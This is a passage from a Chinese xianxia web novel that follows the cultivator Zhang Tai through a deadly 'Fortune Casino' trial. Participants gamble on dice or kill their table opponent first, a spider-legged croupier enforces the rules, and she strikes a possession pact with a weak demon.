按照秘境机制,她被传送到在场其余多数参与者所在的地方,对照现实里,其余所有还活着的全部参与者,正位于垂直河岸方向第九口棺椁之上。
所幸她先前嗑补灵丹的时候,顺带把益气丹也给嗑了。
身上的法衣虽是个最低等的下等宝器,却恰巧有着自净功能,将血污全部清理。
这使得她看起来除了发丝乱了点,其余一切如常,和狼狈完全沾不上边。
再加上“刚刚弄死了之前犹如大山牢牢压在诸位之上的魔将”的头衔,可以说,此刻在场权威最重的就是张苔。
其余魔物一时不敢轻举妄动。
张苔看向禹康平,此人既让自己出手解决眼球魔将,事成之后,关于后续如何料理,他那里应该也有一套章程。
禹康平迎着张苔目光,走到她身边,毫不遮掩地赞赏道,“我就知道你一定能办到。”
这句话联系事前二人在第八口棺椁之上单独待了很长一段时间,以及在第九口棺椁上张苔执意顶替禹康平,很难不让其余众魔想到,关于一切,禹康平完全知情,且是共谋者。
禹康平的身份完全被和张苔划一边,而张苔又是解决掉魔将的狠角色。
如此,让禹康平的话,份量也重了起来。
“魔将已死,后续入棺的选谁,除却我身边的张仙子,其余我们抓阄决定!”
这个决定丝毫不侵犯张苔利益,张苔自是力挺。
她唤出本命法器般若青木如意狠狠往脚下棺盖一砸,“不答应者,死。”
其余魔物自有不乐意这一安排的,尤其是有位实力强一些的魔使,大约在筑基大圆满左右,快要晋级为魔卫,先前魔将在时,祂每次都能抢到魔将视线死角的位置,可以说,过完整个棺椁河,祂都不会冒丝毫入棺的风险。
但祂也不敢明目张胆地对峙反驳,就小声嘟囔了一句,“这还是不怎么公平吧?”
在场不是修士就是魔物,没一个凡人,五感都灵敏得很。
张苔自然也听到了,见是祂也很快明白对方的意思是什么,但她偏偏故作曲解。
“我也想参与抓阄确保公平啊,但抽到我了,我进入的棺椁,你们也不敢上啊。”
在场还剩十位魔物,如若按照先前眼球魔将的规矩,起码半数是会被暴露在外圈会被随机扔往棺椁,在祂们看来,这个规矩是公平得不能再公平了。
看到前面那么多次都牢牢躲在自己身后,从未被牵连过的魔使,多多少少也有点怨怼,如今还推翻这个规矩,自是不依,一个个当即阴阳怪气起来。
张苔一锤定音,“少数服从多数,就抓阄来选了!”
一众人魔都上了第十口棺椁后——第十口棺椁眼球魔将进去了自是不必再进魔物,张苔拿出抽签灵具,一个个魔物问过去祂们想要怎样的代号。
高等魔物都是修士魔化而来,自然也都认识抽签类灵具,有的作为修士时还在市面上购买过,自是明了这玩意儿压根没办法作假,于是都很配合,就算有假,不是很过分,祂们也不敢不配合啊。
后续事情进展还算平稳,除了最后一口棺材的时候,抽到了禹康平。
张苔正想着要不要用淫威压迫在场魔物再抽一次的时候,禹康平径直跳了,不过速度很是迅捷,在棺盖合上之前又翻了出来。
很是让张苔给祂在心底捏了一把汗。
等第十四口也就是最后一口棺椁上的参与者都上岸之后,在场全部存活的还有一位修士九位魔物。
传送口也打开了。
这次的传送过程倒是没那么痛苦,仅仅片刻,一切不适就消退,眼前景象清晰起来。
整个环境很亮堂,连踩着的足有一寸厚的猩红绒毯上的绒毛都纤毫毕现,抬头望去,前方是一栋金碧辉煌的建筑,最为醒目的是华丽璀璨灯笼映照的牌匾,“气运赌坊”。
往内望去,百张翡翠赌桌星罗棋布,桌旁围绕着一群修士凡人。
这些修士凡人没有神魂,能够用神识辨别出来是假的人,尽管特别鲜活仿若真人。
不,也不全是人,还有一位司赌娘子,挽着灵蛇髻,穿着正红织金襦裙,襦裙下探出的却是八条蛛腿。
它突然闪现到一桌之前,涂着丹蔻的指尖抵着骰蛊,“买定离手”。
随着盅盖的揭开,结局落定,桌旁一赌客面露惊恐,司赌娘子却笑意骤然扩大,嘴角几乎裂到耳根。她的一条蛛腿会突然刺穿赌客的手掌,将人钉在赌桌上,随后另外七条腿如针尖般扎入这名赌客体内。
赌客整具肉身很快干瘪下去,直至完全消失,司赌娘子却用舌尖卷着吐出一枚骰子。
见到这一场景,张苔更犹疑了,她上一关身体的一些内伤没调息以及大量丹药药性没化开,冒然进入下一关很是不合适。
但是现场显然也不能确保安全,不管不顾停留此处开始打坐亦有可能是在自寻死路。
于是她最终还是决定走入看看赌坊内的规则。
这时,耳边却传来一道声音,“人没到齐,气运赌坊目前处于不可进入状态。”
沿声望去,竟是先前一直跟在魏敏贞身边的那位单火灵根修士。
但先前神识打探,明明没看见此人,她猜测可能是此人拥有降低自己存在感的法器原因,只是之前这人一直在瞩目的魏敏贞身侧,法器也就没发挥效用。
向这位修士道谢之后,张苔便在临近这位修士的位置,往周身布下一层结界,然后开始打坐。
越了个大境界杀掉魔将,就算知道天时地利人和缺一不可,自己更多借助的是秘境的力量,也没遭受魔物针对性施加的威压等影响,但那可是魔将呐,在以往侦测任务的魔窟中,魔窟之主的存在!
目前的她状态只能说是极度的狂乱和膨胀,恨不得四处大声宣布自己这一壮举,但理智上她深深明白自己现下迫切需要调息。
不知默念了多少遍静心诀,才平息激动狂躁的心,张苔总算进入状态。
当张苔的状态恢复得差不多时,她从入定中撤离。
此时已经明显感知到现场多了不少修士和魔物,按照先前每个分场,有一位修士和十几位魔物的参与者,可以看出每个分场还是比较惨烈,因为现场修士和魔物的比例也就一比六左右,可见死了不少魔物。
正扫视全场打量着别的情况,比如现场魔物的等阶构成等,张苔察觉有魔物靠近,是上一轮那个境界在炼气一层的魔卒禹康平。
对方传音,“找个僻静处,按照先前的约定,我来交还先前定下的第一轮得到的仙器。”
这魔还是颇为识相,之前迫于形式将此事推后了,她正打算明晰当前局面之后,再去找祂,没想到对方先找上来了。
与对方接头,用了个隔绝阵二阶的阵盘,张苔看见对方拿出一枚看起来较为朴素的白色手环,由蒲公英的绒絮和茎须编织而成,表面浮动着细密的流光。
接过之后,神识扫过,一些此枚手环的信息进入识海。
[千絮浮光环,上等仙器,攻击类,絮丝主材为具有恐怖分裂再生变形能力的九阶灵植「星尘蒲」的种子绒絮,茎须主材为千年「月华蒲苇」,柔韧如银丝,自发微光如星河流淌。另融入镇魔属性。
特性:1.变幻。可随主人心意幻化成不同形态的武器,如剑、鞭、弓、匕首等。2.再生。认主后,无论战斗中遭到何种损坏,只要手中还残留细微的一丝,都可自主修复。3.干扰。攻击时,有一定几率散出发光絮丝,干扰敌人视线,敌人为魔物另产生灼伤效果。
另外变幻武器形态后附赠一绝技,炼化认主后可查看详情,如剑形态:「风絮剑·飘零」,细长轻剑,剑身透明如琉璃,内部有流动的蒲公英絮影。赠送绝技「千絮一剑」,蓄力可释放,剑光如蒲公英爆散,覆盖范围极大。]
几乎是将所有信息浏览完后的那一刹,张苔半点不耽搁的将东西扔进自己储物法器,仿佛深怕慢了一拍这物件就长脚了般会逃走。
能得到这东西,血赚,不过她激动的同时又有一丝心里不平衡。
“坦诚说,你是不是和这秘境布置势力的子孙后代,然后秘境给你开后门了?我自认在蒲公英田地出现后再找形成屏障物件比你一开始就得到物件是要高上一层的,但得到的法器品级居然没你高,黑幕,这绝对是黑幕!”
在她的预设里,禹康平和叶明堂得到最多只是下等仙器。
对于张苔的控诉,禹康平满脸无辜,“怎么可能,如果要开后门,就不会有镇魔属性,这东西我自己首先得能用吧。其次
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,这物件不是那块木牌转换的,是蒲公英田地出现之后,我跟着你行动后找到的物件变幻的,所以平阶很正常吧。”
“那个木牌转换的仙器,品级应该就比你低,是中等仙器,但于我而言比那上等仙器好了不要太多,我可以用。”
这解释倒是符合张苔的逻辑,就禹康平个体而言,第一轮蒲公英田地出现后得到的法器品阶也确实在出现前之上。
不过就是很扎张苔的心罢了,但转念一想,看这家伙的实力,约莫是刚引气入体不久才踏入炼气一层就被吞元的人,还没死,成功魔化为魔物了,千分之一的几率都不知有没有,这运气正常人哪能去比?
这个点揭过,交易也完成了,她说了声合作愉快,就打开隔绝阵,背着手踱另外找个角落站着,继续查看现场详情了。
上一轮还存活的参与者陆陆续续往这里传送,有的跟张苔这边差不多,十几位魔物最后出来了一半都不到,还都是些低阶魔物,比如魏敏贞;有的则除去修士和魔卫级别的魔物,出来的没多少低阶魔物。
也不是所有修士都全身而退,比如他们玄天宗队伍的叶明堂,出来的时候浑身染血,双腿更是直接没了。
也不知道他在分场中经历了什么,从传送出来的魔物配置,有个实力堪比金丹大圆满巅峰可以冲击魔将的魔卫,还有个实力差一点境界在金丹中期左右的魔卫,其余再无参与者出来。
叶明堂率先是以手撑地,一点点爬向孙元那边,希望能够得到援助。
孙元一见人朝着她那边过去,直接转身走远了些,拒绝的态度很是明显。
于是叶明堂就在原地大骂冯阳,理由是对方迫使自己进来的,而且探寻庇护点分组的时候谁知道他有没有使手段,让他倒霉到被抓,否则就算进来了,他之前储物法器里也有重新长出双腿的高阶疗伤丹。
最后还是魏敏贞看不下去,给了叶明堂一颗六品的生骨续肌丹。
张苔倒是有些惊讶,毕竟魏敏贞这给,是真赠送,没有丝毫要求的那种。
她不信魏敏贞没有在抗魔秘境中得到过东西,只要得到过一件,就可以摸清楚这个抗魔秘境的奖励层次,也会知道叶明堂手里起码有一件仙器。
孙元显然是不曾得到过的,不然完全能以此勒索叶明堂,重新长出双腿的疗伤丹药,六品足以,别说一颗,哪怕是一瓶,其价值都远远不如一把下品仙器。
如果价值只比六品疗伤类丹药低或者高一点,叶明堂一出上一轮分场来到这里就会提出交易,之所以一直隐而不发,还不是太不划算了,于是想干脆作为最后的保命符用。
赤云宫这次出任务的领队人,实在是个大善人,愿意无偿提供疗伤丹药,属实是叶明堂的意外之喜了。
渐渐地,彻底不再有传送的波动传来,那司赌娘子啪嗒啪嗒地用八条蛛腿走到了赌坊门口,“哟,来新客了,客人们一个个都杵在门口做什么,快进来呀。”
看来是所有还存活的抗魔秘境参与者都到齐了。
其中还值得一提的是,在场魔物中,魔将只剩下一位骨铃魔将,其余构成为二十位魔卫,三十三位魔使,二十九位魔卒,低阶魔物魔使魔卒的数量呈现断崖式下跌。
张苔从自个儿的分场出发分析,也可以猜测其余分场约莫也是强行需要逼迫魔物自相残杀谋取生路的,这届低阶魔物还是不行,没能联合起来反杀,为自己今后的附身争取更多可能,反成了垫脚石。
心念电转间,一众修士魔物进入了气运赌坊,有修士在一处壁面上找到了这一轮的规则:
“第四轮,气运赌坊
规则一,进入运气赌坊则必须参与三次赌局,玩法为比大小,任何出千手段都会迎来立即暴毙,该赌坊是运气赌坊,赌局一旦开始,看的纯粹是运气。
规则二:参与者两两分配为一桌,参与者单数时随机一位参与者轮空,赌局结果揭晓后点数小者,死。
规则三,赌局开始前率先杀死赌桌上另外一名参与者,可直接结束此次赌局,赌局开始后,不可再动手,否则视为出千。赌局开始后请一切交给运气,不要尝试任何手段,否则视为不需要运气,运气赌坊排斥这种参与者,会直接赠与死亡。
规则四,之前轮中表现优异者,为本赌坊上宾,在赌局开始前有直接喊停结束此次赌局的机会,也有赌局结束后作为点数小者,免死的机会。”
18. 秘境(七)
运气赌坊这轮,张苔属实是看明白了,明面上说着比拼运气,实际上是在鼓动参与者互杀。
上一轮其实也是如此煽风点火、激化矛盾,但到底还是比较偏袒于修士的,毕竟一个分场里边只有一位修士,是在场魔物出去的载体,不到万不得已,魔物一般是不会去动修士的。
但这一轮两两对局,不是你死就是我活,且这个修士没了还有别的修士,魔物对赌桌上的对手修士可不会手下留情,若是匹配到骨铃魔将或者那些快要冲击魔将的魔卫,就倒霉了。
这时候,舞着那八条腿,在多张赌桌间摇曳身姿的司赌娘子朝着他们过来了,咯咯笑道,“诸位客官,都来玩几把呀。”
说完一挥衣袖,张苔只觉身形一晃,下一秒,便自动选定在一张赌桌前,台案上,两盏鹤嘴铜灯投下昏黄的光,映照着裂璺的骰盅。
张苔眼神闪了闪,台案两边迅速生长的藤蔓,一部分劈头盖脸冲着对面的对手一顿鞭打,一部分抢夺骰蛊。
她必须抢到骰蛊的控制权——规则很清楚,一旦骰子摇响,赌局开始,双方便只能凭运气定生死;而在那之前,谁先杀死对方,谁就直接获胜。面对弱于自己的对手,她绝不能将生死交给运气。
场上大部分赌桌都是如此混乱,很多赌桌双方连身形都没站稳,就纷纷蓄力准备先发制人。
张苔之所以感知这些,当然是她运气不错,对手只是个魔使级别的魔物,骰蛊顺利到手,便有余力分心去注意别的。
也就在感知到这些的瞬间,魏敏贞的声音就传来。
“司赌娘子,请问我可以和别人换桌吗?”
司赌娘子周身氛围顿时冷了下来,脸色也极为不好看,“怎么,你不满意我的分配?”
其余赌桌上有些招式都发出一半了,在这种威吓下,都拼着内伤给收回来了。
曾经亲眼见证过那些被司赌娘子虐杀的虚拟修士中,他们也曾感受到过那些虚拟修士起码有元婴实力,何况再怎么放肆,也不能忽视司赌娘子代表的可是抗魔秘境的绝对实力。
而作为引发一切的始作俑者,魏敏贞状态反倒不受影响,她肯定点头道,“看来是可以进行换桌。”
随即跟没看到司赌娘子脸色似的,继续发问,“接下来还劳烦司赌娘子看看,我有几次结束赌局,或者在赌局结束后不用承担后果的特权。”
闻言司赌娘子眯了眯眼,仔细瞧了一番魏敏贞,它神色一振,旋即立刻堆起笑来,“姑娘赎罪,是奴眼拙,竟没认出你这位上宾来。”
“上宾身份尊贵,在咱们这赌坊啊,结束赌局或者赌局结束后不用承担后果的机会有两次,光看上宾你怎么分配。”
魏敏贞谢过司赌娘子,然后撤身从那一赌桌离开,朝着骨铃魔将走去,还没来得及细听双方之间的交涉,就被司赌娘子的吼声给打断了。
“看什么看?怎么还不开始摇骰蛊,难道你们也不满意我的分配?”
有好些低阶魔物特别是跟修士匹配到一起的,在场修士都是金丹修为以上,跨了一个大境界的一对一厮杀,当然杀不赢,而且在场的一个个都鬼精的,无论是修士还是魔物,实力更强的那一方,一入场就行动迅速地控制住了骰蛊,祂们想要靠要骰蛊强制赌局开始,来凭运气博一番生机,也不行。
故而祂们还真希望这司赌娘子能够给在场赌桌,重新再匹配一次。
不过注定祂们要失望了,司赌娘子叉腰咆哮,“不满意也给我忍着,除非你们在座的有谁跟方才那位姑娘一样,是上宾。”
“你们给我快点开始对赌,下次我回来之前,哪一桌还没开始对赌,就全部给我死!”
撂下这句话,司赌娘子就施施然走往另一边的虚假修士群所在的赌桌。
司赌娘子离开后,场中再度混乱起来,不过与之前混乱不同的是,上一次混乱更多是抢夺骰蛊——也有不曾争抢的,比如有些魔使跟魔使匹配着对赌,反正双方实力差不多,祂们谁都不想把自己的身死交给骰蛊,于是直接开始厮杀。
这次的混乱则是对赌双方拼尽全力要置对方于死地。
张苔握着骰蛊,没急着行动,主要是她这人有点轻微的强迫症,之前留意着魏敏贞那边的事被打断,她迫切地想要继续看看后续走向。
留意场中动静只是顺带的,神识更多的还是落在骨铃魔将那桌。
此时一修士一魔物像是刚交谈完什么,骨铃魔将离开,在之前魏敏贞所在位置站定。
张苔忖度了一下,骨铃魔将的对手是赤云宫的一位金丹修士,骰蛊也被骨铃魔将把握着,不出意外,那位倒霉的赤云宫修士必死无疑。
但魏敏贞就是意外,张苔猜测魏敏贞应该是用特权半请求半胁迫骨铃魔将跟她进行换桌。
魏敏贞有实力有特权,未尝不可能在骨铃魔将手中撑一会儿重新拿到骰蛊,迫使赌局开始,而赌局开始后,魏敏贞点数小可免死,而骨铃魔将点数小则在劫难逃。
骨铃魔将还不如卖魏敏贞一个好,直接进行换桌。
换桌之后,魏敏贞就可以向司赌娘子提出要使用一次结束此次赌局的机会了。
那边的事情看完了,张苔就腾出手开始解决对面的魔使。
一个大境界之差,毫无悬念地,几次招式来回之后,张苔用术法绞杀了对方。
司赌娘子还没回来,张苔正准备再看看场上其余地方的局面,就察觉到禹康平向自己走来。
张苔念及此人,简直又要扶额,没错,这厮在这一轮中,就是轮空的那一位!
进入赌坊的最开始有十六位修士加上八十三位魔物,参与者共九十九位,两两对赌,有一位参与者会被轮空,被轮空意味着被规则允许少参与一次赌局,这运气简直好到有些邪门!
“你是赌坊的上宾,考虑一下在下一次赌局的时候,跟司赌提一句你要和我匹配到一张赌桌。”
禹康平走到张苔身边后,一开口就是一个大消息。
看张苔还有些懵,禹康平无奈继续道,“气运赌坊第四条规则,上轮分场中表现优异者,为本赌坊上宾,还记得上一轮分场,我请求你干掉魔将的时候,说了一句,‘这么做,对你下一轮也有益处’吧?你上一轮在抗魔秘境里越阶杀掉了一名魔将,如果这还不算表现优异,秘境岂不是要上天?”
解释完这些,祂匆匆道,“司赌过来了,反正你考虑一下,下一次赌局在赌桌上我想跟你再谈谈别的事。”
这句话后,祂迅速转身随便选了个方向离开了。
不一会儿,就见司赌娘子又摇曳着身姿朝他们这边走来。
扫清他们这边的情形,司赌娘子瞳孔一缩,暴跳如雷,“赌场重地,谁允许你们杀人的!人命这么珍贵,我们扛着人命不被官府查到,自是有大用,就这么被你们给糟蹋了?!”
在场存活着的修士和魔物,包括张苔,纷纷大脑一片空白,看着司赌娘子从裙下又快速长出的几十条蛛腿,以及有些甚至开始扬起向他们戳刺而来,脑海里只有一个念头:吾命休矣,什么破烂抗魔秘境,规则这么不靠谱的。
“司赌娘子稍等!”
此时魏敏贞的这一声,于在场不少修士魔物而言,
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仿若天籁。
“司赌娘子不妨好好看看地面上死去的究竟是不是人,司赌娘子你也真是,作为目前赌坊的经营人,居然连赌坊中混入了魔物都不知晓,还好别的义士替你进行了清理,但这也不能掩盖你的失误,让我下次还怎么敢来?”
后边这一句,又让不少魔物跌下地狱,不过没等祂们鱼死网破,魏敏贞的传音紧随其后,“不要轻举妄动,司赌娘子无法辨认出现在的你们是魔物,否则岂不是一进场你们就暴露了!秘境的这一轮就是如此设定的,你们魔物活着的时候在司赌娘子眼里就是修士或者凡人,死了便会露出原型。”
魏敏贞的大范围传音显然很有效果,存活着的高等魔物瞬间平息下来。
司赌娘子听了魏敏贞的话,眉头拧得能夹死一只苍蝇。
它快步环绕过所有的赌桌一圈,然后神情愈发慎重,很显然,一切证实了魏敏贞的话是对的。
其实魏敏贞的话也的确有迹可循,占地颇广的赌坊内,除了祂们这片区域,其余地方的赌客,全部都是修士。
换而言之,其实这可以视为此轮的隐藏规则,只是这隐藏规则颇为狠辣,若是没发现,按照司赌娘子先前的那番架势,在场所有参与者几近全灭。
司赌娘子走到这片区域的各赌桌前方,向在场修士魔物郑重道歉,“这的确是我的疏忽,作为赔礼,我给在场诸位一次上宾才能使用的特权。”
这话落下,在场所有修士是高兴得不能再高兴了,魔物那边心情则有些复杂。
随着隐藏规则的揭露,祂们发现,如果祂们的对手是修士,那祂们只有开始赌局这一条路。
在赌局开始前杀死修士,会被司赌娘子认为是在杀人,司赌娘子会杀祂们。
有些魔物直接当场崩溃了,地面震颤,腐蚀性的黑雾和粘液四溅,带着倒刺的触手胡乱挥舞,祂们开始对准修士无差别攻击。
司赌娘子几乎是在空气波动的瞬间,嘴唇翕动,那些攻击刚蔓延开时,漫天蛛网从天而降,粘稠的银丝捆绑住那些崩溃的魔物。
“死!”
司赌娘子冷眸一扫,八足轻点,被束缚住的魔物当即被蛛丝绞碎。
这些魔物的下场,让在场其余还有些情绪激荡的魔物纷纷冷静下来。
目前完全还不到鱼死网破的时候,至少祂们还有一次免死的机会,而且秘境这轮的机制,也不会给祂们作乱的空间。
司赌娘子解决了这些,又看向魏敏贞,“你没有开始赌局,默认你使用掉一次结束赌局的机会,贵宾也不要被那些魔物吓退了兴致,你知道的,进入过我们气运赌坊活着离开之后,都会交极大的好运,而有了赔礼道歉的这次机会,贵宾你这次又绝对能够安然离开气运赌坊。”
对魏敏贞说完这句,司赌娘子看向众人就没什么好态度了,“现在开始,第二次赌局。”
“等等!”
这次出声的,正是张苔。
念及之前禹康平对自己所说的话,她个人是信了八分,其实在进入赌场看到规则四的时候就有关于自己是否满足条件的猜测,只是她向来谨慎惯了,也就没有贸然行动。
而今有了魏敏贞先打头,又有禹康平的言之凿凿,让张苔下定决心此刻去司赌娘子那里打探。
至于剩下的两分不确定与风险,人生在世,就没有百分百保险的事。
何况,就算她不斗胆找司赌娘子验证,她同样也有生死风险。
与其这样,还不如依照禹康平的建议尝试一番,同时她也很乐意去跟禹康平这样一个比较邪门的存在,继续谈一谈。
19. 秘境(八)
与当初魏敏贞喊住司赌娘子不同,司赌娘子这次听张苔喊住它,没有愠怒或威胁,而是直接热络变脸,“张姑娘是吗?先前认出魏姑娘为上宾的同时我就认出你来啦。”
“但是我看你一直没有表示,以为你想玩一点不一样的,先潜藏在这群人里边,等运气不好的那一场答案揭晓时,再展示身份免除惩罚惊艳对手一把呢!”
这话倒是让张苔悬着的心落了地。
她斟酌着语句询问道,“那劳烦司赌娘子你查看查看我还有几次这样的机会。”
“两次。”司赌娘子还进行了详细的回答,“本来是只有一次机会的,但鉴于赌坊混进来魔物,我没有识别出来的失误,又赔偿了一次,可以说,张姑娘你现在和魏姑娘一样,今天是百分百能带着未来的好运离开气运赌坊的。”
张苔大喜过望,克制着表达自己下一局要和禹康平匹配到同一张赌桌,司赌娘子爽快答应。
在场不少修士魔物,见张苔这样一个平平无奇的角色居然都有上宾的身份,一个个也开始向司赌娘子询问起来。
头几个司赌娘子虽然摆着张臭脸,语气讥讽,但好歹回答了询问者的问题。
过后司赌娘子直接发飙,“你们自个儿连自己的身份都不清楚吗?接下来,只有真正的上宾来找我,我才会客气回答,其余的谁来问我身份,就干脆不要参加赌局了,直接永远以骰子的形式留在这里吧!”
此话一出,场中顿时安静下来。
不过既然司赌娘子没有再度立马开始下一次的赌局,张苔猜测,在座的应该还存在上宾身份的人,光看对方敢不敢笃定是自己了。
毕竟万一不是,找司赌娘子这一问,命就成为滋养抗魔秘境的养料了。
半晌之后,郑尔雅冒出头来,嘻嘻哈哈地靠近司赌娘子进行旁敲侧击一些关于赌坊的来历,最后状似不经意道,“我以为我应该有资格知道这些。”
司赌娘子嗔怪道,“上宾就莫为难我了,我也只是个按照要求办事的,您问的这些,我还真不知晓。”
也是把上宾的身份给确认了下来。
接着便是赤云宫的那位阵修,她直接单刀直入对司赌娘子道,“也没有规定上宾必须事先跟你说一声,才可以行事权力吧,倘若上宾匹配到了不想对赌的人,抑或最后对赌输了,再向你提出行事权力,难道不可以吗?”
听得不少在场修士和魔物神情一振,是啊,至少在死前,还是能抓住这根稻草,尝试能不能规避一死的。
可惜下一秒,司赌娘子冷酷无情的话语击碎了这一设想。
“是没有规定,但我代表庄家,你不跟我说一声,我怎么给你排布什么样的赌局?那赌局还没规定你必须自杀,你怎么不自杀。”
话太难听,阵修神情不虞,“上宾进行正常询问,这就是你对待上宾的态度?”
司赌娘子歉疚笑笑,“事关赌场规则,我还是态度严肃一些更好,毕竟您贵为上宾,如果我不严肃,假使贵宾您真的头脑一热,不事先跟我说一声,我按照常规赌局来,万一贵宾您一个运气不好,岂不是丧生在了这里。”
又是一次成功的身份认证,看得张苔为此人在心底摸了一把汗。
尤其是在司赌娘子进行反驳之后还能继续表示不满,心理素质是真高,又感慨好在自己问的早,不然在眼下的情境里,她还真不一定敢拿命去开口。
之后再无修士魔物出声,修士另说,但高等魔物们还是很有自知之明的,抗魔秘境不针对祂们就算不错了,哪里还有偏袒祂们免死的好事。
司赌娘子见此,大手一挥,进行了第二次赌局的分配。
“和上次一样,等我待会儿从另外的地方回来时,你们的赌局最好已经揭晓最终结果了。”
扔下这句话,司赌娘子再度施施然离开。
场上赌桌爆发争吵的争论不休,彼此之间动手抢夺骰蛊的交锋不断,直接开始殊死搏斗的以命血战。
“直接把机会用到结束赌局不好吗?咱们两个就都不用去死了,你偏要开始赌局,万一这次你点数小,机会直接用没了呢?”
“你话说的好听,这次机会用掉算你的你肯吗?你就知道点数小的一定会是我?留着这次机会我到下一次赌桌,让对赌双方都不死不是一样的?”
“你个**&,偷袭老子,活得不耐烦了是吧,就算你这次抢走了骰蛊,只要老子不死,气运赌坊这一轮结束老子就弄死你!”
......
相比于张苔这边有着在赌局开始之前就结束的权利,很是祥和的氛围,别的地方可以说是乱成了一锅粥。
粗略将整片区域情形扫过一遍后,张苔将目光放到对面,“上一轮你说的神通,是真的?不是为了让我干掉魔将而诓我?”
禹康平失笑,“所以先前你一直认为是我走投无路在骗你,却还是照做了?”
张苔耸肩,“与你的关系不大,纯粹是因为那个情境下,我自己萌生了想要干掉祂的冲动,并且还真这么做了。”
“其实来到这一轮,冷静下来之后,我也有点被自己吓到,没想到自己往日里这么谨慎到甚至有些怯懦的一个人,居然会做出这种事。”
她又将话题绕回来,“我自认是个孤陋寡闻的人,但神通在我的认知之中,确实只有一些道行精深战力无双的高阶修士或者高阶魔物才会掌握与拥有。”
“倘若某些低阶修士或者魔物真的机缘巧合之下领悟了,也该捂的严实,不会这么大喇喇地袒露出来。”
潜藏意思还是不信。
禹康平不想纠结这些,事实上,自己拥有神通这件事连祂自个儿都不是很相信。
神通的出现,也是在约莫半月前很寻常的一天,祂莫名其妙地就拥有了。
且神通的属性究竟是什么,得到这一神通的那天,没有多余的信息传达给祂,祂仅仅只是知晓,自己身负一项神通。
称呼这个神通为占卜,也不准确,这项神通更多的是指引祂下一步该怎么做。
比如一进入这个抗魔秘境,神通让祂前往某个方位找寻,找到屏障物件后,又让祂在后续整个秘境中,如有余力,多多留心张苔和另一个穿着红衣背上背着大刀的刀修。
再比如上一轮,神通让祂催促张苔抓紧干掉魔将同时提供有益此轮的信息,以及告知祂,此事若成,后续抓阄,祂会在最后一口棺椁被选中,让祂想办法在棺盖合上前出来,否则必死,只有经历过一次必死的危机,才能在下一轮获得好运。
这些祂都不准备和张苔坦言,于是生硬转换话题,也是为祂来找张苔的目的进行铺垫。
“想来你也有所猜测,此轮之后,下一轮恐怕就能够彻底离开抗魔秘境,不然此轮不会下这么重的杀手,在潜藏规则发现前,差不多要将场中之人尽数歼灭,潜藏规则发现
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后,对你们修士也算不上很留情面。”
“说是说魔物杀死修士后必死,但其实对最终结果影响不大。”
“可以预见,之后跟用完免死机会魔物一桌的修士中,司赌娘子又每次放完话后不在现场,你说赌局结束后,但魔物开的点数更小,会不会还是尽全力带走修士?修士开出的点数更小,如若没有免死机会,照旧还是一死。”
“少一位修士,魔物便少一个出去的载体。”
张苔的注意力也成功被转移,“我认同气运赌坊这轮是倒数第二轮的说法,那么你想通过这一点传达什么?”
禹康平:“现在还有差不多四十位魔物,此轮结束后,很难说你们修士的数量会不会大于我们魔物的数量,在最终一轮,关于出去的附身名额的争抢之激烈可以预见。”
“以我的能耐,比不过祂们,也很难附身成功谁,除非你们修士中谁自愿让我附身。”
听到这话,张苔挑眉,“你不会想让我自愿令你附身吧?”
禹康平对于自己的要求丝毫不感到愧疚赧然,反而很坦荡道,“没错,我附身于你,就占掉一个出去名额,按照秘境机制,别的魔物时绝对不能再上身的。”
“相比于别的魔物,我附身的安全系数,不是要大上很多吗?”
祂双手扬起,从头扫到腿,“自我魔化以来,从未对任何一位修士凡人进行吞元过,否则我也不会一直停留在刚引气入体之后的阶段,你用法术观照我的情况,便可证实。”
张苔得承认这点是事实,就算此魔有别的手段,对自身进行了掩藏,但祂吞元过的次数也绝对不多。
无他,当魔物吞元多了,如无灵力强行压制,身上就会呈现一些非人的异变。
比如玄袍魔将的整个躯干和衣袍直接相连,骨铃魔将尚且为乐修时的本命法器直接悬挂在脖颈上的白骨,眼球魔将头顶滋生的眼球。
“哪怕我真的会有一些小手段,在绝对的境界差,以及你绝对的警惕心之下,我也不能对你造成什么样的损伤,比如我对你施展吞元,成功率很低。”
禹康平站在张苔的角度扔出最糟糕的假设。
张苔思索片刻,没有给出肯定答复,反而颇为一言难尽地看了一眼禹康平,“可是你不觉得你真的很邪门,万一,你真的有法子直接把我吞元成灰飞呢?”
禹康平含蓄道:“如果我有这个能耐,便不会选择吞元你。”
闻言张苔脸色有些难看,不就是暗指她境界在场中本就不算高,还灵力驳杂、根基虚浮?
不过话说回来,让禹康平附身,的确是一件互惠互利的事。
尤其在场还有骨铃魔将的情况下,虽然自己平庸,不合人家的口味,但也不排除对方看中的是比如魏敏贞、郑尔雅这样的硬茬子。
这类人将其从体内给震出来还恰好抵达传送出去的位置,而自己也好不容易在没被附身的情况下,终于接近了出口即将传送出去,对方见场中没多少可选,也不想折腾了于是附身自己的可能。
将附身的骨铃魔将带出来之后,对方百分百会吞元,保不准在传送的那一刻就开始吞元,被魔将吞元,死亡率和魔化率都很高。
念及此种事情发展方向,张苔心里的小人打了个哆嗦。
她当即拍案定音,“那就说好了,我给你附身,未免夜长梦多,等此轮结束,到传送下一轮之前,你就来找我附身。”
20. 秘境(九)
气运赌坊的最后一轮中,不出所料般掀起阵阵腥风血雨。
张苔都不能完全置身于外,她被一位实力接近金丹大圆满的魔卫胁迫匹配到一桌,之后再使用上宾特权。
若是真跟对方对上,张苔也没有多大把握,她又是个识时务的,于是很快妥协了。
魏敏贞更是救人到分身乏术,到目前为止,已经死了一位修士,张苔也很惋惜,但实在她也很弱小怕波及自身于是爱莫能助。
最终司赌娘子告知他们这些幸存者可以离开的时候,还剩下十一位赤云宫修士和四位玄天宗修士,一位魔将,十四位魔卫,五位魔使,两位魔卒。
鉴于司赌娘子随口说了一句,有意愿继续参与赌局的仍旧可以留下来,在场的不少幸存者,纷纷逃也似的飞奔离开气运赌坊。
张苔也是其中一员。
出了赌坊,就能看见悬浮在半空中的传送漩涡,张苔没急着往那边赶,寻了个偏僻的位置等其余修士和魔物都离开。
她还动用了一个隐藏存在感的术法,修士和魔物交易甚至到她这种主动让魔物附身的程度,终归是有些惊世骇俗的。
好在她本就平平无奇一个人,大家也都只顾着自己抓紧传送离开,这一行为,也就没有引发什么不好的反响。
张苔还是第一次体验被魔物附身,发现还能够跟禹康平进行意念交流。
传送前一刻,张苔道,“不知晓下一轮秘境究竟是什么情况,如果传送过后将我俩分开了,之后秘境中的情况又比较复杂的话,附身这事看情况再说。”
*
黄金穹顶,白玉地砖,环立高耸的赤红浮雕盘龙柱,紫檀木横梁上垂落下微微飘荡着的水晶帘幕。
站立在这很是奢华风的宫殿之中,张苔率先获悉到的信息有两点。
一,现场神识没感知到魔物。
